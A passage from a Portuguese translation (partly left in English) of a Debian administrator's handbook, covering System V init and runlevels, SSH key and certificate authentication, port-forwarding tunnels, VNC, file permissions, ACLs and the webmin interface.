network: a “network“ unit file describes a network interface, which allows configuring such interfaces as well as expressing that a service depends on one particular interface being up. See systemd.network(5).

9.1.2. O sistema init System V

The System V init system (which we'll call init for brevity) executes several processes, following instructions from the /etc/inittab file. The first program that is executed (which corresponds to the sysinit step) is /etc/init.d/rcS, a script that executes all of the programs in the /etc/rcS.d/ directory.

Entre estes,você encontrará sucessivamente programas responsáveis pela:

configurar o teclado do console;

carregando drivers: a maioria dos módulos do kernel serão carregados por si assim que o hardware seja detectado; drivers extra então são carregado automaticamente quando o modulo correspondente seja listado em /etc/modules;

checar a integridade do sistema de arquivos;

montar partições locais;

configuração da rede;

montando sistemas de arquivos em rede (NFS).

DE VOLTA AO BÁSICO opções e módulo do núcleo

You have already learned that kernel modules can be loaded during the start of the system by adding them to /etc/modules or a file below /etc/modules-load.d/. But modules can also have options that can be configured by putting some files in /etc/modprobe.d/. These options are defined with directives like this: options module-name option-name=option-value. Several options can be specified with a single directive if necessary.

These configuration files are intended for modprobe — the program that loads a kernel module with its dependencies (modules can indeed call other modules). To list all options of a module use the modinfo -p module command. Both programs are provided by the kmod package together with other tools to handle modules.

Tendo aprendido sobre systemd, serviços e destinos podem usar o modprobe@module.service para carregar os módulos do kernel dos quais eles dependem.

Após este estágio, o init assume o controle e inicializa os programas habilitados no nível de execução padrão (que geralmente é o nível de execução 2). Ele executa o /etc/init.d/rc 2, um script que inicia todos os serviços que estão listados em /etc/rc2.d/ e que os nomes começam com a letra "S". O número de duas casas que se segue tinha sido historicamente utilizado para definir a ordem em que os serviços devem de ser iniciados. Atualmente, o sistema de inicialização padrão usa insserv, o qual agenda automaticamente tudo, baseado nas dependências dos scripts. Desta forma, cada script de inicialização declara as condições que devem ser cumpridas para iniciar ou parar um serviço (por exemplo, se ele deve começar antes ou depois de outro serviço); o init em seguida, lança-os na ordem que satisfaça estas condições. A numeração estática dos scripts, portanto, não é mais levada em consideração (mas eles sempre devem ter um nome começando por "S" seguido por dois dígitos e o nome atual do script usado por suas dependências). Geralmente, serviços base (tal como registros com o rsyslog, ou atribuição de portas com portmap) são inicializados primeiro, seguidos por serviços padrões e a interface gráfica (gdm3).

Este sistema de inicialização baseado em dependência torna possível automatizar a numeração, que poderia ser um pouco entediante se tivesse que ser feito manualmente, e limita os riscos de erro humano, já que o agendamento é realizado de acordo com os parâmetros indicados. Outro benefício é que os serviços podem ser iniciados em paralelo quando são independentes um do outro, que pode acelerar o processo de inicialização.

init distingue vários runlevels, então para que ele possa alternar de um para outro com o comando telinitnew-level. Imediatamente,init executa /etc/init.d/rc novamente com novo runlevel. Este script irá, em seguida, iniciar os serviços ausentes e interromper aqueles que não são mais desejado. Para fazer isso, ele se dirige ao conteúdo do /etc/rcX.d(onde X representa o novo runlevel).Scripts começando com "S" (como em "Start") são serviços iniciados; aqueles que iniciam com "K" (como em "Kill") são os serviços interrompidos. O script não inicia qualquer serviço que já estava ativo em runlevel anterior.

Por padrão, o init System V no Debian usa quatro runlevels diferentes:

Nível 0 é usada apenas temporariamente, enquanto o computador está desligando. Como tal, ele só contém muitos scripts de "K".

Nível 1, também conhecido como modo de usuário único, corresponde ao sistema em modo degradado; inclui apenas os serviços básicos e destina-se para operações de manutenção onde interações com usuários comuns não são desejadas.

Nível 2 é o funcionamento normal, o que inclui serviços de rede, uma interface gráfica, logons de usuário, etc.

Nível 6 é semelhante ao nível 0, exceto que é utilizada durante a fase de desligamento que precede uma reinicialização.

Existem outros níveis, especialmente de 3 a 5. Por padrão, eles são configurados para operar da mesma maneira como nível 2, mas o administrador pode modificá-los (adicionando ou excluindo os scripts nos diretórios correspondentes /etc/rcX.d) para adaptá-los às necessidades específicas.

Figura 9.2. Seqüência de inicialização de um computador rodando Linux com o init System V

All the scripts contained in the various /etc/rcX.d directories are really only symbolic links — created upon package installation by the update-rc.d program — pointing to the actual scripts which are stored in /etc/init.d/. The administrator can fine tune the services available in each runlevel by re-running update-rc.d with adjusted parameters. The update-rc.d(1) manual page describes the syntax in detail. Please note that removing all symbolic links (with the remove parameter) is not a good method to disable a service. Instead you should simply configure it to not start in the desired runlevel (while preserving the corresponding calls to stop it in the event that the service runs in the previous runlevel). Since update-rc.d has a somewhat convoluted interface, you may prefer using rcconf (from the rcconf package) which provides a more user-friendly interface.

POLÍTICA DEBIAN Reiniciando serviços

Os scripts de manutenção para os pacotes Debian algumas vezes irão reiniciar alguns serviços para garantir a sua disponibilidade ou levá-los a tomar certas opções em conta. O comando que controla um serviço -- service serviço operação - não leva em consideração o nível de execução ("runlevel"), assume (erroneamente) que o serviço está sendo usado, e pode, assim, iniciar operações incorretas (começando um serviço que estava deliberadamente interrompido ou interromper um serviço que já esta parado, etc.) Portanto o Debian introduziu o programa invoke-rc.d: este programa deve ser usado por scripts de manutenção para executar serviços de scripts de inicialização e isso só irão executar os comandos necessários. Observe que, ao contrário do uso comum, o sufixo .d é usado aqui em um nome de programa, e não em um diretório.

Finalmente, init começa a controla programas para vários consoles virtuais (getty). Ele exibe um prompt, esperando por um nome de usuário, em seguida, executa o usuário login user para iniciar uma sessão.

VOCABULÁRIO Console e terminal

Os primeiros computadores eram geralmente separados em diversas, peças muito grandes: o compartimento de armazenamento e unidade central de processamento foram separados dos dispositivos periféricos usados pelos operadores para controlá-los. Estes eram parte de uma mobília separada, o "console". Este termo foi mantido, mas seu significado foi alterado. Tornou-se mais ou menos sinônimo de "terminal", sendo um teclado e uma tela.

Com o desenvolvimento de computadores, sistemas operacionais tem oferecido vários consoles virtuais para permitir várias sessões independentes ao mesmo tempo, mesmo se houver apenas um teclado e tela. A maioria dos sistemas GNU/Linux oferecem seis consoles virtuais (modo texto), acessíveis, digitando as combinações de teclas Control+Alt+F1 through Control+Alt+F6.

By extension, the terms “console” and “terminal” can also refer to a terminal emulator in a graphical session (such as xterm, gnome-terminal or konsole).

9.2. Login remoto

É essencial para o administrador ser capaz de se conectar a um computador remotamente. Servidores, confinados em seu quarto, raramente são equipados com permanentes teclados e monitores — mas eles estão conectados à rede.

DE VOLTA AO BÁSICO Cliente, servidor

Um sistema onde vários processos comunicarem é frequentemente descrito com a metáfora de "cliente/servidor". O servidor é o programa que recebe as solicitações provenientes de um cliente e os executa. É o cliente que controla as operações, o servidor não toma qualquer iniciativa própria.

9.2.1. Login remoto seguro: SSH

O protocolo SSH (Secure SHell) foi projetado com segurança e confiabilidade em mente. Conexões usando SSH estão seguras: o parceiro é autenticado e todas as trocas de dados criptografadas.

CULTURA Telnet e RSH estão obsoletos

Antes do SSH, Telnet e RSH eram as principais ferramentas usadas para fazer login remotamente. Elas são agora totalmente obsoletas e não devem mais ser usadas, mesmo que o Debian ainda forneça elas.

VOCABULÁRIO Autenticação, criptografia

When you need to give a client the ability to conduct or trigger actions on a server, security is important. You must ensure the identity of the client; this is authentication. This identity usually consists of a password or passphrase that must be kept secret, or any other client could it. This is the purpose of encryption, which is a form of encoding that allows two systems to communicate confidential information on a public channel while protecting it from being readable to others.

Autenticação e criptografia, muitas vezes são mencionados juntos, porque eles são frequentemente usados em conjunto, tanto porque eles geralmente são implementados com conceitos matemáticos semelhantes.

SSH também oferece dois serviços de transferência de arquivo. scp é uma ferramenta de linha de comando que pode ser usada como cp, exceto que qualquer caminho a outra máquina é prefixado com o nome da máquina, seguido por dois-pontos.

$ scp arquivo máquina:/tmp/

sftp é um comando interativo, semelhante ao ftp. Em uma única sessão, o sftp pode transferir vários arquivos, e com ele é possível manipular arquivos remotos (apagar, renomear, alterar permissões, etc.).

O Debian usa o OpenSSH, uma versão livre do SSH mantido pelo projeto OpenBSD (um sistema operacional livre baseado no kernel BSD, focado em segurança) e uma bifurcação do programa original SSH desenvolvido pela empresa SSH Communications Security Corp, da Finlândia. Esta empresa desenvolveu inicialmente o SSH como software livre, mas num dado momento decidiu continuar o seu desenvolvimento sob uma licença proprietária. O projeto OpenBSD criou então o OpenSSH para manter uma versão gratuita do SSH.

DE VOLTA AO BÁSICO Fork

Uma ramificação ("fork"), na área de software, significa um novo projeto que se inicia como um clone de um projeto existente, e que vai competir com ele. A partir daí, ambos os softwares irão divergir rapidamente em termos de novos desenvolvimentos. Uma ramificação é frequentemente o resultado de divergências dentro da equipe de desenvolvimento.

A opção de ramificar um projeto é um resultado direto da própria natureza do software livre, uma ramificação é um evento saudável, quando se permite a continuação de um projeto como software livre (por exemplo, em caso de alterações de licença). Uma ramificação decorrente de divergências técnicas ou pessoais é muitas vezes um desperdício de recursos humanos; outra resolução seria preferível. Já se tem notícia de fusões de dois projetos que já passaram por uma divisão anterior.

OpenSSH is split into two packages: the client part is in the openssh-client package, and the server is in the openssh-server package. The ssh meta-package depends on both parts and facilitates installation of both (apt install ssh), while the task-ssh-server, often chosen during the initial installation, depends on the server package only.

9.2.1.1. Autenticação Baseado em Chave

Cada vez que alguém se conecta por SSH, o servidor remoto pede uma senha para autenticar o usuário. Isto pode ser problemático se você quiser automatizar uma conexão, ou se você usar uma ferramenta que requer conexões frequentes com o SSH. Por este motivo, o SSH oferece um sistema de autenticação baseado em chave.

O usuário gera um par de chaves na máquina cliente com ssh-keygen -t rsa; a chave pública assim gerada é armazenada em ~/.ssh/id_rsa.pub, enquanto a chave privada correspondente é armazenada em ~/.ssh/id_rsa. O usuário pode então usar ssh-copy-id servidor para adicionar sua chave pública ao arquivo ~/.ssh/authorized_keys no servidor, ou, se o acesso SSH ainda não foi ativado, eles devem solicitar ao administrador que adicione sua chave manualmente.

If the private key was not protected with a “passphrase” at the time of its creation, all subsequent logins on the server will work without a password. Otherwise, the private key must be decrypted each time by entering the passphrase. Fortunately, ssh-agent allows us to keep private keys in memory to not have to regularly re-enter the password. For this, you simply use ssh-add (once per work session) provided that the session is already associated with a functional instance of ssh-agent. Debian activates it by default in graphical sessions, but this can be deactivated by changing /etc/X11/Xsession.options and commenting out use-ssh-agent. For a console session, you can manually start the agent with eval $(ssh-agent).

SEGURANÇA Proteção da chave privada

Quem tem a chave privada pode fazer login na conta, assim, configurada. É por isso que o acesso para a chave privada é protegida por uma "frase". Alguém que adquire uma cópia de um arquivo de chave privada (por exemplo,~/.ssh/id_rsa) ainda tem de saber esta frase para ser capaz de usá-la. Esta proteção adicional não é, no entanto, impenetrável, e se você acha que esse arquivo foi comprometido, é melhor desativar essa chave nos computadores em que foi instalado (para removê-lo  authorized_keys files) e substituí-la com uma chave recentemente gerada.

CULTURA Falha do OpenSSL no Debian Etch

A biblioteca OpenSSL, como era inicialmente fornecida no Debian Etch, tinha um grave problema no seu gerador de número aleatório (Random Number Generator - RNG). De fato, o mantenedor Debian tinha feito uma mudança para que aplicações usando ela não gerassem avisos quando analisadas por ferramentas de teste de memória como valgrind.Infelizmente, esta mudança também significou que o RNG estava empregando apenas uma fonte de entropia que corresponde ao número do processo (PID), cujos 32.000 possíveis valores não oferecem aleatoriedade suficiente.

→ https://www.debian.org/security/2008/dsa-1571

Especificamente, sempre que OpenSSL era utilizado para gerar uma chave, sempre produzia uma chave dentro de um conjunto conhecido de centenas de milhares de chaves (32.000 multiplicada para um pequeno número de comprimentos de chave). Isso afetou as chaves SSH, chaves SSL e certificados X.509 usados por inúmeras aplicações, tais como o OpenVPN. Um cracker só tinha que tentar todas as chaves para ganhar acesso não autorizado. Para reduzir o impacto do problema, o daemon SSH foi modificado para recusar chaves problemáticas que estão listadas nos pacotes openssh-blacklist e openssh-blacklist-extra. Além disso, o comando ssh-vulnkey permite a identificação de chaves possivelmente comprometidas no sistema.

Uma análise mais completa deste incidente mostra que ele é o resultado de múltiplos (pequenos) problemas, tanto dentro do projeto OpenSSL, como com o mantenedor do pacote Debian. Uma biblioteca amplamente utilizada como OpenSSL não deveria - sem modificações - gerar advertências quando testada pelo valgrind. Além disso, o código (especialmente as partes sensíveis como o RNG) deveria ser mais bem comentado para evitar tais erros. Pelo lado do Debian, o mantenedor queria validar as modificações com os desenvolvedores do OpenSSL, mas simplesmente explicou as modificações sem fornecer-lhes o patch correspondente para revisão e falhou em mencionar seu papel dentro do Debian. Finalmente, as escolhas de manutenção não eram as ideais, as mudanças feitas no código original não eram documentadas com clareza; todas as modificações eram efetivamente armazenadas em um repositório Subversion, mas elas acabaram todos agrupadas em um único patch durante a criação do pacote fonte.

É difícil nessas condições de encontrar as medidas corretivas para evitar que tais incidentes não se repitam. A lição a ser aprendida aqui é que cada divergência que o Debian introduz ao upstream deve ser justificada, documentada, submetida ao upstream quando possível, e amplamente divulgada. É nesta perspectiva que o novo formato de pacote de origem ("3.0 (quilt)") e o webservice dos fontes Debian foram desenvolvidos.

→ https://sources.debian.org

9.2.1.2. Cert-Based Authentication

SSH keys cannot just be protected by a password (or not). An often unknown feature is that they can also be signed via certificate, both the host as well as the client keys. This approach comes with several advantages. Instead of maintaining an authorized_keys file per user as described in the previous section, the SSH server can be configured to trust all client keys signed by the same certificate (see also Seção 10.2.2, “Infraestrutura de Chaves Públicas: easy-rsa”) by using the TrustedUserCAKeys and HostCertificate directives in /etc/ssh/sshd_config.

TrustedUserCAKeys /etc/ssh/ssh_users_ca.pub HostKey /etc/ssh/ssh_host_ecdsa_key HostCertificate /etc/ssh/ssh_host_ecdsa_key-cert.pub

Vice-versa the clients can also be configured to trust the host key signed by the same authority, making it easier to maintain the known_hosts file (even system wide via /etc/ssh/known_hosts).

@cert-authority *.falcot.com ssh-rsa AAAA[..]

Ambos, chave pública e autenticação de certificado, podem ser usados lado a lado.

9.2.1.3. Usando Aplicações X11 Remotamente

O protocolo SSH permite o encaminhamento de dados gráficos (sessão “X11”, a partir do nome do sistema gráfico mais difundido no Unix); o servidor então mantém um canal dedicado para esses dados. Especificamente, um programa gráfico executado remotamente pode ser exibido no servidor X.org da tela local, e toda a sessão (entrada e exibição) será segura. Como essa funcionalidade permite que aplicações remotas interfiram com o sistema local, ela é desabilitada por padrão. Você pode habilitá-la especificando X11Forwarding yes no arquivo de configuração do servidor (/etc/ssh/sshd_config). Finalmente, o usuário tem que também requisitá-la adicionando a opção -X na linha de comando do ssh.

GOING FURTHER Magic cookies in .Xauthority

Quando um usuário se conecta via SSH e inicia uma sessão X11 remota, um assim chamado cookie mágico é criado e armazenado no arquivo .Xauthority no diretório inicial do usuário que iniciou a conexão. Este cookie é usado pelo xauth para autenticar o usuário durante a sessão X. Se o usuário se passar por outro usuário no sistema, por ex. usando su ou sudo, o cookie não é copiado automaticamente para o usuário de destino e o servidor X se recusará a iniciar aplicativos gráficos no contexto do usuário de destino. Você terá que copiar o cookie mágico no diretório home do usuário de destino (exportando e reimportando o cookie via xauth) para permitir que outro usuário inicie programas gráficos também durante a sessão X.

9.2.1.4. Criando Túneis Criptografados com Encaminhamento de Porta

Suas opções -R e -L permitem ao ssh criar “túneis criptografados” entre duas máquinas, encaminhando com segurança uma porta TCP local (veja barra lateral DE VOLTA AO BÁSICO TCP/UDP) para uma máquina remota ou vice versa.

VOCABULÁRIO Túnel

A Internet, e a maioria das LANs que estão conectadas a ela, operam em modo pacote (packet) e não em modo conectado (connected), o que significa que um pacote emitido de um computador para outro fará paradas em vários roteadores intermediários para encontrar seu destino. Você pode ainda simular uma operação de conexão (connected) onde o fluxo (stream) é encapsulada em pacotes IP normais. Esses pacotes seguem sua rota usual, mas o fluxo (stream) é reconstruído sem mudanças até o destino. Nós chamamos isso de “túnel”, em analogia a uma estrada com túnel aonde veículos vão diretamente da entrada (input) para a saída (output) sem encontrarem nenhum cruzamento, em oposição a um caminho na superfície que envolveria interseções e mudanças de direção.

Você pode usar essa oportunidade para adicionar criptografia ao túnel: o fluxo (stream) que flui através dele seria então irreconhecível por quem está de fora, mas retornaria ao forma sem criptografia na saída do túnel.

ssh -L 8000:server:25 intermediary estabelece uma sessão SSH com a máquina intermediary e escuta pela porta local 8000 (veja Figura 9.3, “Encaminhando uma porta local com SSH”). Para qualquer conexão estabelecida por esta porta, ssh irá iniciar uma conexão a partir do computador intermediary na porta 25 no server, e irá ligar as duas conexões.

ssh -R 8000:server:25 intermediary também estabelece uma sessão SSH com o computador intermediary, mas nessa máquina que o ssh ouve na porta 8000 (veja Figura 9.4, “Encaminhando uma porta remota com SSH”). Qualquer conexão estabelecida nesta porta fará com que o ssh abrir uma conexão a partir da máquina local na porta 25 do server, e fazer a ligação das duas conexões.

Nos dois casos, as conexões são feitas pela porta 25 na máquina servidora, que passa pelo túnel SSH estabelecido entre a máquina local e a máquina intermediária. No primeiro caso, a entrada do túnel é a porta local 8000, e os dados se movem em direção à máquina intermediária antes de ser direcionada ao servidor na rede “pública”. No segundo caso, a entrada e a saída do túnel são invertidas; a entrada é a porta 8000 na máquina intermediária, a saída é na máquina local, e os dados são então direcionados para o servidor. Na prática, o servidor é usualmente a máquina local ou a intermediária. Dessa forma o SSH mantém segura a conexão de uma ponta a outra.

Figura 9.3. Encaminhando uma porta local com SSH

Figura 9.4. Encaminhando uma porta remota com SSH

9.2.2. Usando Ambientes Gráficos Remotamente

O VNC (Virtual Network Computing) permite o acesso remoto ao ambiente de trabalho (desktops) gráfico.

Essa ferramenta é, na maioria das vezes, usada para assistência técnica; o administrador pode ver os erros com os quais o usuário está enfrentando, e mostrar a eles um curso de ação correto, sem estar fisicamente presente.

First, the user must authorize sharing their session. The GNOME graphical desktop environment includes that option via Settings → Sharing (contrary to previous versions of Debian, where the user had to install and run vino). For this to work network-manager must be managing the network used (e.g. enable the managed mode for devices handled by ifupdown in /etc/NetworkManager/NetworkManager.conf). KDE Plasma still requires using krfb to allow sharing an existing session over VNC. For other graphical desktop environments, the x11vnc or tightvncserver commands (from the Debian packages of the same name) or tigervncserver (tigervnc-standalone-server) serve the same purpose and provide the vnc-server virtual package; you can make either of them available to the user with an explicit menu or desktop entry.

When the graphical session is made available by VNC, the administrator must connect to it with a VNC client. GNOME has vinagre and remmina for that, while the KDE project provides krdc (in the menu at K → Internet → Remote Desktop Client). There are other VNC clients that use the command line, such as xtightvncviewer from the homonym package or xtigervncviewer from the tigervnc-viewer Debian package. Once connected, the administrator can see what is going on, work on the machine remotely, and show the user how to proceed.

SEGURANÇA VNC sobre SSH

Se você quer fazer a conexão pelo VNC, e você não quer que seus dados sejam enviados em texto puro pela rede, é possível encapsular os dados através de um túnel SSH (veja Seção 9.2.1.4, “Criando Túneis Criptografados com Encaminhamento de Porta”). Você simplesmente tem que saber que o VNC usa a porta 5900 por padrão para a primeira tela (called “localhost:0”), 5901 para a segunda (called “localhost:1”), etc.

O comando ssh -L localhost:5901:localhost:5900 -N -T máquina cria um túnel entre a porta local 5901 na interface localhost e a porta 5900 da máquina "host". O primeiro “localhost” restringe o SSH a ouvir apenas nesta interface na máquina local. O segundo “localhost” indica a interface na máquina remota a qual irá receber o tráfego de rede entrando em “localhost:5901”. Assim vncviewer localhost:1 irá conectar o cliente VNC a tela remota, mesmo que você indique o nome da máquina local.

Quando uma sessão VNC é fechada, lembre-se de fechar o túnel por também saindo da sessão SSH correspondente.

DE VOLTA AO BÁSICOGerenciador de tela

gdm3, kdm, lightdm, and xdm are Display Managers (they all provide the x-display-manager meta package). They take control of the graphical interface shortly after boot in order to provide the user a login screen. Once the user has logged in, they execute the programs needed to start a graphical work session.

9.3. Gerenciando Direitos

O Linux é definitivamente um sistema multi-usuário, então é necessário prover um sistema de permissões para controlar um conjunto de operações autorizadas em arquivos e diretórios, o que inclui todos os recursos e dispositivos do sistema (em um sistema Unix, qualquer dispositivo é representado por um arquivo ou diretório). Esse princípio é comum a todos os sistemas Unix, porém o lembrete é sempre útil, especialmente porquê existem alguns interessantes e relativamente avançados usos desconhecidos.

9.3.1. Owners and Permissions

Cada arquivo ou diretório têm permissões específicas para três categorias de usuários:

seu dono (simbolizado por u como em "user");

o dono do grupo (simbolizado por g como em “group”), representando todos os membros do grupo;

os outros (simbolizado por o como em “other”).

Three basic types of rights can be combined:

leitura (simbolizado por r como em “read”);

escrita (ou modificação, simbolizado por w como em “write”);

executar (simbolizado por x como em “eXecute”).

No caso de um arquivo,essas permissões são facilmente compreendidas: acesso de leitura permite ler o conteúdo (incluindo copia), acesso a escrita permite alterá-lo, e permissão de executar permite rodá-lo (o que apenas irá funcionar se ele for um programa).

SEGURANÇA executáveis setuid e setgid

Two particular rights are relevant to executable files: setuid and setgid (symbolized with the letter “s”). Note that we frequently speak of “bit”, since each of these Boolean values can be represented by a 0 or a 1. These two rights allow any user to execute the program with the rights of its owner or its group, respectively. This mechanism grants access to features requiring higher level permissions than those you would usually have.

Como um programa com setuid root é sistematicamente executado com a identidade de super usuário, é muito importante garantir que ele seja seguro e confiável. Na verdade, um usuário que conseguisse subvertê-lo a chamar um comando de sua escolha poderia então representar o usuário root e ter todos os direitos no sistema.

Se você precisar executar um programa com um usuário diferente ou se um programa exigir permissões mais altas, os comandos sudo, su ou runuser geralmente são melhores opções do que usar esses bits (consulte Seção 8.9.4, “Compartilhando Direitos Administrativos”).

Um diretório é gerenciado de maneira diferente. O acesso a leitura dá o direito de consultar a lista de suas entradas (arquivos e diretórios), acesso a escrita permite criar e apagar arquivos, e acesso a execução permite navegar por ele (especialmente para usar o comando cd). Sendo possível navegar pelo diretório sem ser capaz de lê-lo, dá a permissão de acessar as entradas dentro dele que tem o nome conhecido, mas não para encontrá-las se você não sabe de sua existência ou nome exato.

SEGURANÇA setgid diretório e sticky bit

O bit setgid também é aplicável em diretórios. Qualquer recém-criado item em um diretório desses é automaticamente atribuído ao grupo do dono do diretório pai, ao invés de herdar o grupo principal do criador, como de costume. Essa configuração evita que o usuário tenha que alterar seu grupo principal (com o comando newgrp) enquanto trabalha em uma árvore de arquivos compartilhada entre vários usuários do mesmo dedicado grupo.

O “sticky” bit (simbolizado pela letra “t”) é uma permissão que é útil apenas em diretórios. Ele é especialmente usado para diretórios temporários aonde todos tem acesso a escrita (como em /tmp/): ele restringe o apagar de arquivos para que apenas seu dono (ou o dono do diretório pai) possa apagá-lo. Sem isso, qualquer um poderia apagar arquivos de outros usuários em /tmp/.

Três comandos controlam as permissões associadas a um arquivo:

chown usuário arquivo muda o dono do arquivo;

chgrp grupo arquivo altera o grupo;

chmod direitos arquivo muda as permissões do arquivo.

Há duas formas de apresentar direitos. Entre eles, a representação simbólica é provavelmente a mais fácil de entender e lembrar. Ela envolve os símbolos das letras mencionadas acima. Você pode definir os direitos de cada categoria de usuários (u/g/o), definindo-as explicitamente (com =), adicionando (+), ou subtraindo (-). Assim, as permissões u=rwx,g+rw,o-r fornecem ao proprietário a permissão de ler, escrever e executar, acrescenta permissão de ler e escrever para o grupo proprietário, e remove a permissão de leitura para outros usuários. Direitos não alterados pela adição ou subtração de tal comando não sofrerão alterações. A letra a, para "todos" (“all” em inglês), abrange as três categorias de usuários, de modo que a=rx concede a todas as três categorias os mesmos direitos (leitura e execução, mas não de escrita).

A representação numérica (octal) associa cada direito com um valor: 4 para leitura, 2 para gravação, e um para execução. Nós associamos cada combinação de direitos com a soma das figuras. Cada valor é então atribuído a diferentes categorias de usuários, colocando-os de ponta a ponta na ordem usual (proprietário, grupo, outros).

For instance, the chmod 754 file command will set the following rights: read, write and execute for the owner (since 7 = 4 + 2 + 1); read and execute for the group (since 5 = 4 + 1); read-only for others. The 0 (zero) means no rights; thus chmod 600 file allows for read/write rights for the owner, and no rights for anyone else. The most frequent right combinations are 755 for executable files and directories, and 644 for data files.

Para representar os direitos especiais, você pode prefixar um quarto dígito para este número de acordo com o mesmo princípio, onde os bits setuid, setgid e sticky são 4, 2 e 1, respectivamente, chmod 4754 associará o setuid aos direitos descritos anteriormente.

Observe que o uso da notação octal só permite definir todos os direitos de uma só vez em um arquivo; você não pode usá-lo para simplesmente adicionar um novo direito, como acesso de leitura para o proprietário do grupo, uma vez que você deve levar em conta os direitos já existentes e calcular o novo valor numérico correspondente.

DICA Operação recursiva

Algumas vezes nós temos que mudar os direitos de toda árvore de arquivo. Todos os comandos acima tem a opção -R para operar recursivamente em sub-diretórios.

The distinction between directories and files sometimes causes problems with recursive operations. That is why the “X” letter has been introduced in the symbolic representation of rights. It also represents the right to execute, but it applies differently to directories and files.

Para diretórios, adiciona permissões executáveis ao(s) usuário(s) escolhido(s). Para arquivos, adiciona o bit executável somente se pelo menos um dos usuários (proprietário, grupo ou outros) já tiver permissões executáveis. Vamos demonstrar, porque este trecho pode ser confuso:

$ ls test.txt -rw-r--r-- 1 daniel daniel 0 18. Nov 01:07 test.txt $ chmod u+X test.txt $ ls test.txt -rw-r--r-- 1 daniel daniel 0 18. Nov 01:07 test.txt $ chmod o+x test.txt $ ls test.txt -rw-r--r-x 1 daniel daniel 0 18. Nov 01:07 test.txt $ chmod u+X test.txt $ ls test.txt -rwxr--r-x 1 daniel daniel 0 18. Nov 01:07 test.txt

O exemplo mostra um arquivo típico com suas permissões padrão: seu proprietário pode lê-lo e escrevê-lo, o grupo do proprietário e todos os outros usuários podem lê-lo. A próxima operação (u+X) não adicionará permissões executáveis para o proprietário do arquivo, porque as permissões para executar não foram atribuídas. A operação não tem efeito no arquivo. Em seguida, atribuímos direitos de execução para "outros" usuários e repetimos a operação. Desta vez, é bem-sucedido, porque pelo menos um grupo de usuários já tinha permissões executáveis.

É um equívoco pensar que esse bit afetará apenas os diretórios. Se arquivos e diretórios tiverem permissões mistas, geralmente é uma boa ideia usar o comando find para localizar os alvos nos quais deseja operar.

TIP Changing the user and group together

Frequently you want to change the group of a file at the same time that you change the owner. The chown command has a special syntax for that: chown user:group file. This syntax can also be used to recursively (-R) change the ownership of a whole directory.

APROFUNDANDO umask

When an application creates a file, it assigns indicative permissions, knowing that the system automatically removes certain rights, given by the command umask. Enter umask in a shell; you will see a mask such as 0022. This is simply an octal representation of the rights to be systematically removed. In this case, the write right for the group and other users: With the above umask value, the default for directories 777 becomes 755 and the default permissions for files 666 become 644.

The system's default value is handled by pam_umask(8) and /etc/login.defs.

If you give it a new octal value, the umask command modifies the mask. Used in a shell initialization file (for example, ~/.bashrc or ~/.profile), it will effectively change the default mask for your work sessions.

9.3.2. ACLs - Lista de Controle de Acesso

Muitos sistemas de arquivos, por ex. Btrfs, Ext3, Ext4, JFS, XFS, etc., suportam o uso de Listas de Controle de Acesso (ACLs). Eles estendem os recursos básicos de propriedade e permissão de arquivo, descritos na seção anterior, e permitem um controle mais refinado de cada objeto (arquivo). Por exemplo: Um usuário deseja compartilhar um arquivo com outro usuário e esse usuário só deve poder ler o arquivo, mas não escrevê-lo ou alterá-lo.

Para alguns dos sistemas de arquivos, o uso de ACLs é ativado por padrão (por exemplo, Btrfs, Ext3, Ext4). Para outros sistemas de arquivos ou sistemas mais antigos, ele deve ser ativado usando a opção de montagem acl - diretamente no comando mount ou em /etc/fstab. Da mesma forma, o uso de ACLs pode ser desativado usando a opção de montagem noacl. Para sistemas de arquivos Ext*, também é possível usar o comando tune2fs -o [no]acl /dev/device para ativar/desativar o uso de ACLs por padrão. Os valores padrão para cada sistema de arquivos geralmente podem ser encontrados em suas páginas de manual homônimas na seção 5 (sistema de arquivos(5)) ou em mount(8).

Depois de ativar as ACLs, as permissões podem ser definidas usando o comando setfacl(1), enquanto getfacl( 1) permite recuperar as ACLs para um determinado objeto ou caminho. Esses comandos fazem parte do pacote acl. Com setfacl também é possível configurar arquivos ou diretórios recém-criados para herdar permissões do diretório pai. É importante observar que as ACLs são processadas em sua ordem e que uma entrada anterior adequada à situação tem precedência sobre entradas posteriores.

Se um arquivo tiver ACLs definidas, a saída do comando ls -l mostrará um sinal de adição após as permissões tradicionais. Ao usar ACLs, o comando chmod se comporta um pouco diferente e umask pode ser ignorado. A extensa documentação, e. g. acl(5) contém mais informações.

9.4. Interfaces Administrativas

Usar uma interface gráfica para administração é interessante em várias circunstâncias. Um administrador não necessariamente sabe todos os detalhes de configuração de todos os serviços, e nem sempre tem tempo para sair pesquisando na documentação sobre o assunto. Uma interface gráfica para administração pode assim acelerar a implantação de um novo serviço. Ela pode ainda simplificar a configuração de serviços os quais são difíceis de configurar.

Tal interface é apenas uma auxiliar e não um fim em si própria. Em todos os casos, o administrador deve dominar seu comportamento para entender e resolver qualquer problema em potencial.

Como nenhuma interface é perfeita, você pode ficar tentado a tentar várias soluções. Isto deve ser evitado o máximo possível, pois ferramentas diferentes são às vezes incompatíveis em seus métodos. Mesmo se todas elas visam em serem muito flexíveis e tentam adotar o arquivo de configuração como única referência, elas nem sempre são capazes de integrar alterações externas.

9.4.1. Administrando por uma Interface Web: webmin

Essa é, sem dúvida, uma das mais bem sucedidas interface de administração. Ela é um sistema modular de gerenciamento através de um navegador web, cobrindo uma ampla gama de áreas e ferramentas. Além do mais, ela é internacionalizada e disponível em muitas linguas.

Figura 9.5. Painel Webmin

Sadly, webmin is no longer part of Debian. Its Debian maintainer removed the packages created because they no longer had the time required to maintain them at an acceptable quality level. Nobody has officially taken over, so Debian does not provide the webmin package.

Existe, contudo, um pacote não oficial distribuído pelo site web webmin.com. Ao contrário dos pacotes Debian originais, esse pacote é monolítico; todos os seus módulos de configuração são instalados e ativados por padrão, mesmo que o serviço correspondente não esteja instalado na máquina.

SEGURANÇA Alterando a senha do root

On the first login, identification is conducted with the root username and its usual password (or any user's login credentials which belongs to the sudo group). It is recommended to change the password used for webmin as soon as possible, so that if it is compromised, the server's user accounts will not be involved, even if this confers important administrative rights to the machine.

Beware! Since webmin has so many features, a malicious user accessing it could compromise the security of the entire system. In general, interfaces of this kind are not recommended for important systems with strong security constraints (firewall, sensitive servers, etc.), and they are not recommended to be exposed to the public either.

Webmin é usado através de uma interface web, mas ele não requer que o Apache esteja instalado. Essencialmente, esse software tem seu próprio mini servidor web integrado. Esse servidor ouve, por padrão, na porta 10000 e aceita conexões HTTP seguras.

Módulos inclusos cobrem uma grande variedade de serviços, entre eles:

all base services: creation of users and groups, management of crontab files, service scripts/files, viewing of logs, etc.

bind: configuração de servidor DNS (nome de serviço);
